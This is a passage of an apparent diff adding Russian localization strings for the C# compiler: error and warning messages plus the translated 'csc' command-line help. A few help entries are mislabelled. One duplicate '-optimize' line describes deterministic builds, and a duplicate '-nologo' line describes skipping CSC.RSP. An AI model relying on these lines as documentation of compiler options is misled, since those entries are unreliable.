char, float, double, decimal, bool, string, типом enum или ссылочным. + Указанная строка версии не соответствует рекомендованному формату — основной номер.дополнительный номер.сборка.редакция + Определяемое пользователем преобразование в интерфейсе должно выполнять преобразование в параметр типа или из параметра типа для включающего типа, ограниченного включающим типом + Параметр "{0}" не имеет совпадающего тега param в комментарии XML для "{1}" (в отличие от остальных параметров) + Индексированное свойство "{0}" содержит необязательные аргументы, которые необходимо указать + Чтобы тип "{0}" можно было использовать как AsyncMethodBuilder для типа "{1}", его свойство Task должно возвращать тип "{1}" вместо "{2}". + "{0}": поле не может быть одновременно изменяемым и доступным только для чтения + Наследоваться от записей могут только записи. + Незавершенный литерал необработанной строки. + Для атрибутов в лямбда-выражениях требуется указать список параметров в круглых скобках. + Статические типы не могут использоваться в качестве параметров + Требуется директива #endregion. + <missing> + Интерполированный литерал необработанной строки не начинается с достаточного количества символов \"$\", чтобы разрешить использовать такое же количество последовательных открывающих фигурных скобок в качестве содержимого. + Допустимость значения NULL для ссылочных типов в типе не совпадает с явно реализованным членом. + Имя параметра "{0}" конфликтует с автоматически созданным именем параметра. + Параметры типа не разрешены в группе методов в качестве аргумента "nameof". + Несогласованность по доступности: доступность типа параметра "{1}" ниже доступности делегата "{0}" + Параметр использования псевдонима не может быть типом "ref". + Предыдущее предложение catch уже перехватывает все исключения. Все возникшие необработанные исключения будут перенесены в System.Runtime.CompilerServices.RuntimeWrappedException. + Сбой при вставке некоторых или всех включенных XML + Ожидание "{0}" невозможно + Ограничение "default" допустимо только для переопределенных и явных методов реализации интерфейса. + параметр + Требуется постоянное значение. + Генератору "{0}" не удалось создать источник. Это не повлияет на выходные данные и ошибки компиляции, которые могут возникнуть в результате. Тип возникшего исключения: "{1}", сообщение: "{2}". +{3} + Имя типа параметра "{0}" совпадает с именем типа параметра внешнего типа "{1}". + Литерал с типом double не может быть неявно преобразован к типу "{1}"; используйте суффикс "{0}" для создания литерала этого типа + Отсутствует целевой тип для выражения коллекции. + Переменная не может быть объявлена в шаблоне "not" или "or". + + Параметры компилятора Visual C# + + - ВЫХОДНЫЕ ФАЙЛЫ - +-out:<file> Укажите имя выходного файла (по умолчанию: базовое имя + файл с основным классом или первый файл) +-target:exe Создать исполняемый файл консоли (по умолчанию) (сокращение + форма: -t:exe) +-target:winexe Создать исполняемый файл Windows (краткая форма: + -t:winexe) +-target:library Создать библиотеку (краткая форма: -t:library) +-target:module Создать модуль, который можно добавить к другому + сборка (краткая форма: -t:модуль) +-target:appcontainerexe Создать исполняемый файл Appcontainer (краткая форма: + -t:appcontainerexe) +-target:winmdobj Создать промежуточный файл среды выполнения Windows, который + потребляется WinMDExp (краткая форма: -t:winmdobj) +-doc:<file> Файл XML-документации для создания +-refout:<file> Ссылка на выходные данные сборки для создания +-platform:<string> Ограничить платформы, на которых может работать этот код: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred или + любой процессор. По умолчанию используется любой процессор. + + - ВХОДНЫЕ ФАЙЛЫ - +--recurse:<wildcard> Включить все файлы в текущем каталоге и + подкаталогах в соответствии с подстановочными + знаками +-reference:<alias>=<file> Ссылка на метаданные из указанного файла сборки + с использованием заданного псевдонима (краткая форма: -r) +-reference:<file list> Ссылочные метаданные из указанных файлов + сборки (краткая форма: -r) +-addmodule:<file list> Связать указанные модули с этой сборкой +-link:<file list> Внедрить метаданные из указанных файлов + сборки взаимодействия (краткая форма: -l) +-analyzer:<file list> Запустить анализаторы из этой сборки + (Краткая форма: -а) +-additionalfile:<file list> Дополнительные файлы, не влияющие напрямую на генерацию + кода, но которые могут использоваться анализаторами для создания + ошибок и предупреждений. +-embed Встроить все исходные файлы в PDB. +-embed:<file list> Встроить определенные файлы в PDB. + + - РЕСУРСЫ - +-win32res:<file> Укажите файл ресурсов Win32 (.res) +-win32icon:<file> Использовать этот значок для вывода +-win32manifest:<file> Укажите файл манифеста Win32 (.xml) +-nowin32manifest Не включать манифест Win32 по умолчанию +-resource:<resinfo> Встроить указанный ресурс (краткая форма: -res) +-linkresource:<resinfo> Связать указанный ресурс с этой сборкой + (Короткая форма: -linkres) Где формат resinfo + равен <file>[,<string name>[,public|private]] + + - ГЕНЕРАЦИЯ КОДА - +-debug[+|-] Выдать отладочную информацию +-debug:{full|pdbonly|portable|embedded} + Укажите тип отладки («полный» по умолчанию, + «портативный» — это кроссплатформенный формат, + 'встроенный' – это кроссплатформенный формат, встроенный в + целевой файл .dll или .exe) +-optimize[+|-] Включить оптимизацию (краткая форма: -o) +-optimize[+|-] Производство детерминированной сборки + (включая GUID версии модуля и метку времени) +-refonly Изготовить эталонную сборку вместо основной продукции +-instrument:TestCoverage Создать сборку, предназначенную для сбора + сведений об охвате +-sourcelink:<file> Информация об исходной ссылке для встраивания в PDB. + + - ОШИБКИ И ПРЕДУПРЕЖДЕНИЯ - +-warnaserror[+|-] Сообщить обо всех предупреждениях как об ошибках +-warnaserror[+|-]:<warn list> Сообщать об определенных предупреждениях как об ошибках + (используйте "nullable" для всех предупреждений об отсутствии значений) +-warn:<n> Установить уровень предупреждения (0 или выше) (краткая форма: -w) +-nowarn:<warn list> Отключить определенные предупреждающие сообщения + (используйте "nullable" для всех предупреждений об отсутствии значений) +-ruleset:<file> Укажите файл набора правил, который отключает определенную + диагностики. +-errorlog:<file>[,version=<sarif_version>] + Укажите файл для регистрации всего компилятора и анализатора + диагностики. + sarif_version:{1|2|2.1} По умолчанию 1. 2 и 2.1 + оба означают SARIF версии 2.1.0. +-reportanalyzer Сообщать дополнительную информацию об анализаторе, такую как + время выполнения. +-skipanalyzers[+|-] Пропустить выполнение диагностических анализаторов. + + - ЯЗЫК - +-checked[+|-] Генерировать проверки переполнения +-unsafe[+|-] Разрешить «небезопасный» код +-define:<symbol list> Определить символ(ы) условной компиляции (краткая + форма: -d) +-langversion:? Показать допустимые значения для языковой версии +-langversion:<string> Укажите языковую версию, например + `latest` (последняя версия, включая дополнительные версии), + `default` (то же, что и `последняя`), + `latestmajor` (последняя версия, исключая дополнительные версии), + `preview` (последняя версия, включая функции в неподдерживаемой предварительной версии), + или специальные версии, такие как «6» или «7.1» +-nullable[+|-] Указать параметр контекста, допускающий значение null, enable|disable. +-nullable:{enable|disable|warnings|annotations} + Укажите параметр контекста, допускающий значение NULL, enable|disable|warnings|annotations. + + - БЕЗОПАСНОСТЬ - +-delaysign[+|-] Отложить подписание сборки, используя только открытый + части ключа строгого имени +-publicsign[+|-] Общедоступная подпись сборки с использованием только общедоступной + части ключа строгого имени +-keyfile:<file> Укажите файл ключа со строгим именем +-keycontainer:<string> Укажите контейнер ключей строгого имени +-highentropyva[+|-] Включить высокоэнтропийный ASLR + + - РАЗНОЕ - +@<file> Прочтите файл ответов, чтобы узнать о дополнительных параметрах +-help Показать это сообщение об использовании (краткая форма: -?) +-nologo Подавить сообщение об авторских правах компилятора +-nologo Не включать автоматически файл CSC.RSP +-parallel[+|-] Параллельная сборка. +-version Показать номер версии компилятора и выйти. + + - РАСШИРЕННЫЙ - +-baseaddress:<address> Базовый адрес для создаваемой библиотеки +-checksumalgorithm:<alg> Указать алгоритм вычисления контрольной суммы исходного файла, + хранящегося в PDB. Поддерживаемые значения: + SHA1 или SHA256 (по умолчанию). +-codepage:<n> Укажите кодовую страницу для использования при открытии исходных + файлов +-utf8output Выводить сообщения компилятора в кодировке UTF-8 +-main:<type> Укажите тип, который содержит точку входа + (игнорировать все другие возможные точки входа) (короткая + форма: -m) +-fullpaths Компилятор создает полные пути +-filealign:<n> Укажите выравнивание, используемое для разделов + выходного файла +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Укажите сопоставление для имен исходных путей, выводимых с помощью +. + компилятора. +-pdb:<file> Указать имя файла отладочной информации (по умолчанию: + имя выходного файла с расширением .pdb) +-errorendlocation Строка вывода и столбец конечного местоположения + каждой ошибки +-preferreduilang Укажите предпочтительное имя языка вывода. +-nosdkpath Отключить поиск стандартных библиотечных сборок по пути SDK по умолчанию. +-nostdlib[+|-] Не ссылаться на стандартную библиотеку (mscorlib.dll) +-subsystemversion:<string> Укажите версию подсистемы этой сборки +-lib:<file list> Указать дополнительные каталоги для поиска + ссылок +-errorreport:<string> Укажите, как обрабатывать внутренние ошибки компилятора: + запросить, отправить, поставить в очередь или никаких действий. Значение по умолчанию + очередь. +-appconfig:<file> Указать файл конфигурации приложения + содержащий параметры привязки сборки +-moduleassemblyname:<string> Название сборки, частью которой будет + этот модуль +-modulename:<string> Укажите имя исходного модуля +-generatedfilesout:<dir> Поместить файлы, сгенерированные во время компиляции, в + указанный каталог. +-reportivts[+|-] Вывести информацию обо всех IVT, предоставленных этой + сборке по всем зависимостям и аннотировать ошибки доступности + сторонних сборок с указанием того, из какой сборки они произошли.. + + Синтаксическая ошибка; требуется значение. + "{0}" не может быть запечатанным, т. к. не содержит модификатора override. + #error: '{0}' + Переменная диапазона "{0}" уже была объявлена. + В AssemblySignatureKeyAttribute определен недопустимый открытый ключ подписи. + Имя элемента кортежа "{0}" игнорируется, так как целевым типом "{1}" задано другое имя либо имя не задано. + Это предупреждение возникает при попытке вызвать метод, свойство или индексатор в члене или классе, производном от MarshalByRefObject; при этом член является типом значения. Объекты, наследуемые от MarshalByRefObject, обычно упаковываются по ссылке в домене приложений. Если код пытается получить прямой доступ к члену типа значения такого объекта в домене приложений, возникнет исключение времени выполнения. Чтобы устранить предупреждение, сначала скопируйте член в локальную переменную и вызовите метод в этой переменной. + Невозможно перехватить вызов с ' {0} ', так как он недоступен внутри ' {1} '. + Имена двух индексаторов различаются; для каждого индексатора в пределах типа следует использовать атрибут IndexerName с одним и тем же именем. + Модификатор типа ссылки параметра не соответствует соответствующему параметру в целевом объекте. + Для использования оператора "Await" необходимо, чтобы у возвращаемого типа "{0}" метода "{1}.GetAwaiter()" были соответствующие члены IsCompleted, OnCompleted и GetResult и чтобы этот тип реализовывал интерфейс INotifyCompletion или ICriticalNotifyCompletion. + "{0}" является неоднозначной ссылкой между "{1}" и "{2}". + Конструктор, объявленный в "struct" со списком параметров, должен содержать инициализатор "this", вызывающий основной конструктор или явно объявленный конструктор. + Параметр переопределяет атрибут, заданный в исходном файле или добавленном модуле + У типов и псевдонимов не может быть имя "required". + "{0}": readonly можно использовать для методов доступа, только если свойство или индексатор имеет оба метода доступа, get и set. + Циклическая зависимость базового типа включает "{0}" и "{1}". + Ожидается идентификатор или численный литерал + Не удается неявно преобразовать тип "{0}" в "{1}". + Разыменование вероятной пустой ссылки. + Не удалось включить фрагмент XML + Это возвращает local по ссылке, но не является ref local + "{0}": событие экземпляра в интерфейсе не может иметь инициализатор. + "{0}" не является допустимым типом соглашения о вызовах для "UnmanagedCallersOnly". + Конструктор "{0}" не может вызвать сам себя + Однострочный комментарий нельзя использовать в качестве интерполированной строки. + Local возвращается по ссылке, но инициализирован значением, которое не может быть возвращено по ссылке + Локальная переменная или функция с именем "{0}" уже определена в этой области. + Невозможно перехватить: компиляция не содержит файла с путем ' {0} '. Вы хотели использовать путь ' {1} '? + Две сборки отличаются номером выпуска или версии. Для унификации необходимо указать директивы в CONFIG-файле приложения и предоставить допустимое строгое имя сборки. + Не удалось изменить возвращаемое значение "{0}", т. к. оно не является переменной. + "{0}": базовый тип "{1}" несовместим с CLS. + Обязательному элементу "{0}" должно быть назначено значение, он не может использовать вложенный элемент или инициализатор коллекции. + Инструкции верхнего уровня должны предшествовать объявлениям пространств имен и типов. + Объявления разделяемого метода "{0}" и "{1}" имеют различия в сигнатуре. + Исходный файл не может содержать объявления пространства имен с файловой областью и объявления обычных пространств имен одновременно. + Невозможно присвоить значение "{0}", так как он доступен только для чтения. + использование псевдонима типа + Параметр {0} объявлен как тип "{1}{2}" вместо "{3}{4}". + Ошибка чтения файла "{0}", указанного для именованного аргумента "{1}" для атрибута PermissionSet: '{2}' + Дерево выражений не может содержать выражение switch. + Для параметра типа "{0}" уже указано предложение ограничения. Все ограничения для параметра типа должны быть объявлены в одном предложении Where. + Модификатор "static" должен предшествовать модификатору "unsafe". + с использованием анонимных типов + Ожидание "void" невозможно + Невозможно вернуть по ссылке локальный "{0}", так как это не локальная переменная ref + Не удается выполнить требуемую для вызова конструктора динамическую диспетчеризацию, поскольку этот вызов является частью инициализатора конструктора. Попробуйте привести динамические аргументы. + Невозможно определить тип неявно типизированной переменной "out" "{0}". + Не удается внедрить типы взаимодействия из сборки "{0}" из-за отсутствия в ней атрибута "{1}". + Для директивы диапазона #line требуется пробел перед первой скобкой. перед смещением символа и перед именем файла + инициализатор объекта + Неявно типизированные переменные не могут иметь множество операторов объявления. + Невозможно вернуть {0} "{1}" по ссылке для записи, так как это переменная только для чтения + Пространство имен не может напрямую включать в себя такие элементы, как методы или операторы + Модификатор члена "{0}" должен указываться перед типом и именем члена. + Выражение switch обрабатывает не все возможные значения своего типа входных данных (оно не полное). + Перехват вызова ' {0} ' с перехватчиком ' {1} ', но подписи не совпадают. + Требуется "}" + Пустой блок switch + Требуется именованный аргумент атрибута. + Невозможно преобразовать входную строку в эквивалентное байтовое представление UTF-8.{0} + Параметр имеет несколько различных значений по умолчанию. + Аргумент типа "{0}" неприменим для атрибута DefaultParameterValue. + Определенное пользователем преобразование должно осуществлять преобразование в данный включающий тип или из данного включающего типа. + Использование поля, которому, возможно, не присвоено значение + Член структуры "{0}" типа "{1}" приводит к циклу в этом макете структуры. + Тип ограничения несовместим с CLS + шаблон в круглых скобках + Не удается использовать класс атрибута "{0}", так как он является абстрактным. + Это возвращает элемент local "{0}" по ссылке, но это не ref local + Указанное выражение всегда соответствует предоставленной константе. + "{0}" должен объявлять тело, так как он не помечен модификатором abstract, extern или partial. + Обнаружен недостижимый код + "{0}" не может реализовать член интерфейса "{1}" в типе "{2}", так как функция "{3}" недоступна в C# {4}. Используйте версию языка "{5}" или более позднюю. + Поле ссылки '{0}' должно быть назначено ref перед использованием. + Возможно, назначение-ссылка, допускающее значение NULL. + структуры записей + В данном асинхронном методе отсутствуют операторы await, поэтому метод будет выполняться синхронно. Воспользуйтесь оператором await для ожидания неблокирующих вызовов API или оператором await Task.Run(...) для выполнения связанных с ЦП заданий в фоновом потоке. + Контекстное ключевое слово "var" нельзя использовать в качестве явного типа возвращаемого значения лямбда-выражения + методы задания значения, вызываемые только при инициализации + Переменная диапазона "{0}" не может иметь имя, совпадающее с именем параметра типа метода. + Для типа "{0}" не определен конструктор. + анонимный метод + Ожидался скрипт (CSX-файл), но ни один не был указан + Только отдельное объявление разделяемого типа может содержать список параметров + Шаблоны среза не могут использоваться для значений типа "{0}". + Это возвращает параметр по ссылке, но это не параметр ref + типы, допускающие значение NULL + Для "{0}" требуется функция компилятора "{1}", которая не поддерживается в этой версии компилятора C#. + Первичный конструктор конфликтует с синтезированным конструктором копий. + Параметр /noconfig пропущен, т. к. он задан в файле ответов + ссылочные типы, допускающие значение NULL + Форма деконструирования "var (...)" не разрешает использовать конкретный тип для "var". + Номер строки, указанный для директивы #line, отсутствует или недействителен. + Невозможно включить некорректный файл XML "{0}". + Не удается загрузить сборку Analyzer {0}: {1} + Определенный пользователем оператор "{0}" должен быть объявлен как статический и открытый. + Объявление недействительно; используйте "{0} оператор <результирующий тип> (..." вместо + "{0}": нельзя использовать статические типы в качестве возвращаемых типов. + "{0}" не должен иметь параметр params, так как у "{1}" его нет. + Local "{0}" возвращается по ссылке, но инициализирован значением, которое не может быть возвращено по ссылке + Контроль возвращается вызывающему элементу до явного назначения поля, что приводит к предшествующему неявному назначению "default" + Не удается создать временный файл — {0}. + Наиболее подходящий перегруженный метод для "{0}" не имеет параметр с именем "{1}". + Параметр типа "{0}" совпадает с именем вмещающего типа или метода. + Член скрывает унаследованный член: отсутствует новое ключевое слово + Разделяемый метод должен быть объявлен в разделяемом типе. + Тип "{1}" в "{0}" конфликтует с импортированным пространством имен "{3}" в "{2}". Используется тип, определенный в "{0}". + Пространство имен "{1}" в "{0}" конфликтует с импортированным типом "{3}" в "{2}". Используется пространство имен, определенное в "{0}". + Наиболее подходящий перегруженный метод Add "{0}" для инициализатора набора содержит недопустимые аргументы. + Выражение типа "{0}" невозможно сопоставить с указанным шаблоном. + Шаблоны списка не могут использоваться для значения типа {0}. Подходящее свойство \"Length\" или \"Count\" не найдено. + При создании массива следует указать размер массива или инициализатор массива. + равенство кортежей + Параметр типа "{0}" не имеет совпадающего тега typeparam в комментарии XML для "{1}" (в отличие от остальных параметров типов) + Невозможно перехватить: Путь ' {0} ' не сопоставлен. Ожидаемый сопоставленный путь ' {1} '. + Входной параметр не может иметь атрибут Out. + В условных выражениях назначение всегда постоянное. Предполагалось использовать ==, а не = ? + Ошибка при чтении файла манифеста Win32 "{0}" — "{1}". + Дерево выражения не может содержать преобразование обработчика интерполированных строк. + Ветви условного оператора ref ссылаются на переменные с несовместимыми областями объявления. + Атрибут "{0}" модуля "{1}" будет игнорироваться, вместо него используется экземпляр в источнике. + Невозможно присвоить {0} переменной диапазона. + Параметр params должен быть последним в списке параметров. + Для сопоставления типа кортежа "{0}" требуются вложенные шаблоны "{1}", но сейчас есть вложенные шаблоны "{2}". + Недопустимо использовать оператор throw без аргументов в предложении finally, которая находится в ближайшем вложенном предложении catch. + Автоматически реализуемый метод доступа set "{0}" не может быть помечен как readonly. + Кортеж должен содержать по меньшей мере два элемента. + Тип "{0}" не может использоваться в качестве аргумента типа + Оператор foreach не работает с переменными типа "{0}", так как "{0}" не содержит открытое определение экземпляра или расширения для "{1}" Возможно, вы имели в виду "await foreach", а не "foreach"? + Имя файла "{0}" пустое, содержит недопустимые символы, имеет имя диска без абсолютного пути или слишком длинное. + Это присваивает по ссылке "{1}" "{0}", но "{1}" имеет более широкую область выхода, чем "{0}", что позволяет присваивать через "{0}" значения с более узкими областями выхода, чем "{1}". + Допустимость значения NULL для ссылочных типов в типе параметра не совпадает с переопределенным членом. + Целевая среда выполнения не поддерживает специальные возможности "защищенный", "внутренний защищенный" или "частный защищенный" для члена интерфейса. + Не удается внедрить тип взаимодействия "{0}", так как у него отсутствует обязательный атрибут "{1}". + Асинхронное лямбда-выражение, преобразованное в делегата, возвращающего "{0}", не может возвращать значение + ограничения неуправляемого универсального типа + Заметка к ссылочным типам, допускающим значение NULL, должна использоваться в коде только в контексте заметок "#nullable". Автоматически создаваемый исходный код требует директиву "#nullable" в явном виде. + Недопустимое имя языка "{0}". + В операторах for, using, fixed и операторах объявления не может использоваться более одного типа. + Невозможно присвоить значение переменной диапазона "{0}", доступной только для чтения. + "{0}" не содержит конструктор, который принимает аргументы {1}. + Строки языка и региональных параметров сборки могут не содержать встроенных символов NULL. + Неожиданный список параметров. + Инициализатор модуля должен быть обычным методом-элементом. + Фиксированное поле не должно быть полем ref. + константные интерполированные строки + "{0}": невозможно одновременно задать класс ограничения и ограничение "unmanaged" + Невозможно использовать переменную "{0}" в этом контексте, поскольку при этом могут быть раскрыты доступные по ссылке переменные вне их области объявления. + В шаблоне не может использоваться тип "{0}", допускающий значение NULL. Используйте вместо него базовый тип "{0}". + Доступ к статическому виртуальному или абстрактному элементу интерфейса возможен только для параметра типа. + Параметр params должен использоваться в обоих объявлениях разделяемого метода или не должен использоваться ни в одном из них. + Не удается найти "{0}" в явном объявлении интерфейса среди членов интерфейса, которые могут быть реализованы + Тип "{1}" в "{0}" конфликтует с импортированным типом "{3}" в "{2}". Используется тип, определенный в "{0}". + Явное применение атрибута "System.Runtime.CompilerServices.NullableAttribute" не допускается. + Элементы массива не могут иметь тип "{0}". + Модификаторы нельзя размещать в объявлениях методов доступа к событиям. + "{0}" не реализует член интерфейса "{1}". "{2}" не может неявно реализовать недоступный член. + Перед интерфейсом должен быть указан базовый класс "{0}". + Условное выражение недопустимо в версии языка {0}, поскольку между "{1}" и "{2}" не найден общий тип. Для использования преобразования с целевым типом обновите язык до версии {3} или более поздней. + Заданы несовместимые параметры: файл ресурсов Win32; манифест Win32. + Итераторы не могут использовать параметры типа указателя + Невозможно применить CallerMemberNameAttribute, так как отсутствуют стандартные преобразования из типа "{0}" в тип "{1}". + Невозможно вернуть по ссылке член параметра "{0}", так как это не параметр ref или out + (Местоположение символа, связанного с предыдущей ошибкой) + Указан аргумент stdin "-", но входные данные не были перенаправлены из стандартного входного потока. + Нельзя использовать оператор yield в теле предложения catch. + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения не соответствует неявно реализованному элементу (возможно, из-за атрибутов допустимости значений NULL). + Поскольку данный метод является асинхронным, возвращаемое выражение должно относиться к типу "{0}", а не к типу "{1}". + Требуется "{" или ";". + Ключевое слово "this" не может использоваться в инициализаторах статических свойств, методов или полей. + У параметра есть модификатор params в лямбде, но не в типе целевого делегата. + Член интерфейса "{0}" не имеет наиболее конкретной реализации. Ни "{1}", ни "{2}" не являются наиболее конкретными. + необязательный параметр + Указан недопустимый путь поиска + Невозможно вернуть this по ссылке. + Не удается найти тип взаимодействия, соответствующий внедренному типу взаимодействия "{0}". Возможно, отсутствует ссылка на сборку. + Это предупреждение возникает, если атрибуты сборки AssemblyKeyFileAttribute или AssemblyKeyNameAttribute в источнике конфликтуют с параметром командной строки /keyfile или /keycontainer либо с именем файла ключа или контейнером ключа, указанном в свойствах проекта. + Это предупреждение указывает, что атрибут, например InternalsVisibleToAttribute, был указан неправильно. + указатель + Объявление переменной по ссылке должно иметь инициализатор + 'Невозможно применить MethodImplOptions.Synchronized к асинхронному методу. + Невозможно вернуть параметр по ссылке "{0}" поскольку это не параметр ref + "{0}" не является допустимым модификатором типа для возвращаемого значения указателя на функцию. Допустимые модификаторы: ref и ref readonly. + Аргумент {0} не может передаваться с параметром "ref" ключевое слово в версии {1}. Чтобы передать аргументы "ref" в параметры "in", обновите его до версии {2} или более поздней. + Недопустимое создание объекта + При выходе параметр должен иметь значение, отличное от NULL, так как параметр, на который ссылается NotNullIfNotNull, имеет значение, отличное от NULL. + Элементы, определенные в пространстве имен, нельзя объявлять в явном виде как частные, защищенные, защищенные внутренние или частные защищенные. + Один из параметров бинарного оператора должен быть содержащего типа, или его параметр типа должен ограничиваться содержащим типом. + Параметр /moduleassemblyname может использоваться только при сборке модуля. + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения "{0}" не соответствует целевому объекту делегирования "{1}" (возможно, из-за атрибутов допустимости значений NULL). + Параметр типа "{0}" наследует конфликтующие ограничения "{1}" и "{2}". + Идентификатор ресурса "{0}" в этой сборке уже использован. + Значение параметра по умолчанию для "{0}" должно быть константой времени компиляции. + Программа не содержит статического метода "Main", подходящего для точки входа. + Невозможно вернуть параметр основного конструктора "{0}" с помощью ссылки. + Элемент записи "{0}" не может быть статическим. + Эта ошибка происходит, когда предопределенный тип системы, например System.Int32, находится в двух сборках. Единственная причина этого — ссылка на mscorlib или System.Runtime.dll из двух разных расположений, например, при попытке запустить две версии .NET Framework одновременно. + Невозможно вернуть по ссылке член "{0}", так как он был инициализирован значением, которое нельзя вернуть по ссылке + Требуемый элемент "{0}" не может быть скрыт элементом "{1}". + Методы с переменным числом аргументов не совместимы с требованиями CLS. + Чтобы создать токены цифровых литералов, используйте Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal. + Объявления разделяемого метода либо оба должны иметь модификаторы static, либо ни одно из объявлений не должно иметь модификатора static. + "{0}" не является ссылочным типом, как требуется в операторе lock. + "{0}" не реализует шаблон "{1}". "{2}" не является общедоступным экземпляром либо методом расширения. + Асинхронный оператор foreach не может использоваться с переменными типа "{0}", так как он реализует создание нескольких экземпляров "{1}". Попробуйте выполнить приведение к созданию экземпляра определенного интерфейса. + Поле ссылки должно быть назначено ref перед использованием. + Статическое поле, доступное только для чтения, невозможно вернуть по ссылке для записи + Асинхронный оператор foreach не работает с переменными типа "{0}", так как "{0}" не содержит открытое определение экземпляра или расширения для "{1}" Возможно, вы имели в виду "foreach", а не "await foreach"? + Невозможно объявить определяемый пользователем оператор преобразования с параметром "implicit" как проверенный + Интерфейсы, совместимые с CLS, должны включать только совместимые с CLS члены + Добавленные модули должны быть помечены атрибутом CLSCompliant, чтобы соответствовать этой сборке. + "{0}": имя параметра, локальной переменной или локальной функции не может совпадать с именем параметра типа метода. + Тип возвращаемого значения несовместим с CLS + Ошибка при открытии файла значка {0} — {1} + "{0}" не может реализовать член интерфейса "{1}" в типе "{2}" из-за наличия параметра __arglist + Загруженная сборка ссылается на платформу .NET Framework, которая не поддерживается. + Это сочетание аргументов для "{0}" может представить переменные, на которые ссылается параметр "{1}", за пределами их области объявления + Не удается вывести тип переменной неявно типизированных деконструирований "{0}". + Элемент не может использоваться в этом атрибуте. + Ограничения для переопределения и явные методы реализации интерфейса унаследованы от базового метода, поэтому они не могут быть указаны напрямую, кроме ограничения class или struct. + Для директивы препроцессора указано недопустимое имя файла + Параметр основного конструктора структуры "{0}" типа "{1}" вызывает цикл в макете структуры + '{0}' определен в сборке '{1}'. + Символ "{0}" необходимо экранировать (путем дублирования) в интерполированной строке. + Преобразование группы методов "{0}" в незаменяемый тип "{1}". Вы намеревались вызвать этот метод? + метод расширения + Выражение не имеет имени. + Перехватчик должен иметь параметр this, соответствующий параметру ' {0} ' на ' {1} '. + Неожиданная ошибка при записи информации отладки — "{0}". + Компиляция (C#): + Тип несовместим с CLS + Не удается преобразовать в статический тип "{0}". + Тип не содержит доступных конструкторов, которые используют только совместимые с CLS типы + Элемент возвращается по ссылке, но инициализирован значением, которое не может быть возвращено по ссылке. + "{0}" не может быть помечен как совместимый с CLS, поскольку является членом типа "{1}", несовместимого с CLS. + Выражение фильтра является константой "false", попробуйте удалить выражение catch + анонимные типы + Константа "{0}" не может быть помечена модификатором static. + Свойство или индексатор "{0}" не может использоваться в этом контексте, так как не имеет метода доступа get. + Автоматически реализуемые свойства экземпляра в структурах только для чтения должны быть доступны только для чтения. + Ожидался универсальный возвращаемый тип, схожий с задачей, но тип "{0}", обнаруженный в атрибуте "AsyncMethodBuilder", не подходит. Требуется неограниченный универсальный тип c арностью 1, а его содержащий тип (если есть) не должен быть универсальным + Свойства экземпляра в интерфейсах не могут иметь инициализаторы. + Указанная версия языка "{0}" не может содержать начальные нули. + Инициализатор модуля не может иметь атрибут "UnmanagedCallersOnly". + Ошибка при открытии файла ответа "{0}" + Рекомендуемый перегружаемый метод Add для элемента инициализатора коллекции устарел + Допустимость значений NULL для ссылочных типов в типе параметра не соответствует целевому объекту делегирования (возможно, из-за атрибутов допустимости значений NULL). + запечатанный ToString в записи + Несогласованность по доступности: доступность возвращаемого типа "{1}" ниже доступности оператора "{0}" + Неиспользованный внешний псевдоним. + Ссылка на неявно типизированную переменную "{0}" с параметром OUT не разрешена в том же списке аргументов. + Отсутствует модификатор partial в объявлении типа "{0}"; существует другое разделяемое объявление этого типа. + Невозможно преобразовать выражение в ' {0} ', так как это не присваиваемая переменная + "{0}": переопределение невозможно, так как "{1}" не имеет функции доступа set, доступной для переопределения. + Отсутствует шаблон + В параметре /reference не указан внешний псевдоним "{0}". + "{0}" не распознан как расположение атрибута. Допустимые расположения атрибута для этого объявления: "{1}". Все атрибуты этого блока будут проигнорированы. + У __arglist не может быть аргумента типа void + Параметр {0} должен быть объявлен с ключевым словом "{1}". + Интерфейс "{0}" имеет недопустимый исходный интерфейс, который требуется для внедрения события "{1}". + Наиболее подходящий перегруженный метод, соответствующий "{0}" для элемента инициализации коллекции, не может быть использован. Методы инициализации коллекции "Add" не имеют ссылочных и выходных параметров. + Тип предназначен только для оценки и может быть изменен или удален в будущих обновлениях. + Оператор "&" не следует использовать для параметров или локальных переменных в асинхронных методах. + "{0}": не найден метод, пригодный для переопределения. + <список путей> + Невозможно изменить члены "{0}", так как это "{1}". + "{0}": только совместимые с CLS члены могут быть абстрактными. + Ненужная директива using + Не удается связать файлы ресурсов при сборке модуля. + <глобальное пространство имен> + Циклическая зависимость ограничений включает "{0}" и "{1}". + "{0}" определяет оператор "==" или оператор "!=", но не переопределяет Object.GetHashCode(). + Поддерживаемые языковые версии: + Имя "_" ссылается на константу, а не на шаблон отмены. Используйте "var _", чтобы отменить значение, или "@_", чтобы сослаться на константу по этому имени. + Тип одного из параметров бинарного оператора должен быть вмещающим. + "{0}" не реализует "{1}" + Доступ к защищенному члену "{0}" через квалификатор типа "{1}" невозможен; квалификатор должен иметь тип "{2}" (или производный от него тип). + Литералы необработанных строк не разрешены в директивах препроцессора. + Отсутствует обязательный для компилятора член "{0}.{1}" + В данном контексте нельзя использовать атрибуты сборки и модуля + Требуется однострочный комментарий или признак конца строки. + Член не скрывает унаследованный член: новое ключевое слово не требуется + Тип построителя CollectionBuilderAttribute должен быть неуниверсатным классом или структурой. + Структуры без явных конструкторов не могут содержать члены с инициализаторами. + "{0}": нельзя использовать статические классы в качестве ограничений. + Возвращаемым типом асинхронного метода должен быть void, Task, Task<T> или аналогичный тип, IAsyncEnumerable<T> или IAsyncEnumerator<T>. + Комментарий XML содержит атрибут cref "{0}", который не удалось разрешить. + Не удалось найти имя типа "{0}" в пространстве имен "{1}". Этот тип был отправлен в сборку "{2}". Попробуйте добавить ссылку на эту сборку. + Метод "{0}" задает ограничение class для параметра типа "{1}", но соответствующий параметр типа "{2}" переопределенного или явно реализованного метода "{3}" не является ссылочным типом. + Работа оператора Foreach в "{0}" невозможна. Действительно вызвать "{0}"? + Ссылка на поле с модификатором volatile не будет использоваться как изменяемая ссылка + Доступ к члену в поле класса маршалинга по ссылке может вызвать исключение времени выполнения + Поле не может иметь тип void. + Возможное имя метода " {0} " не может быть перехвачено, так как он не вызывается. + Базовый тип несовместим с CLS + Элементы параметра основного конструктора "{0}" типа, доступного только для чтения, нельзя изменить (за исключением метода задания с типом, предназначенным только для инициализации, или инициализатора переменной) + Методы расширения должны быть определены в статическом классе верхнего уровня; {0} является вложенным классом. + Соглашение о вызовах "{0}" не поддерживается в данном языке. + Модуль "{0}" уже определен в этой сборке. 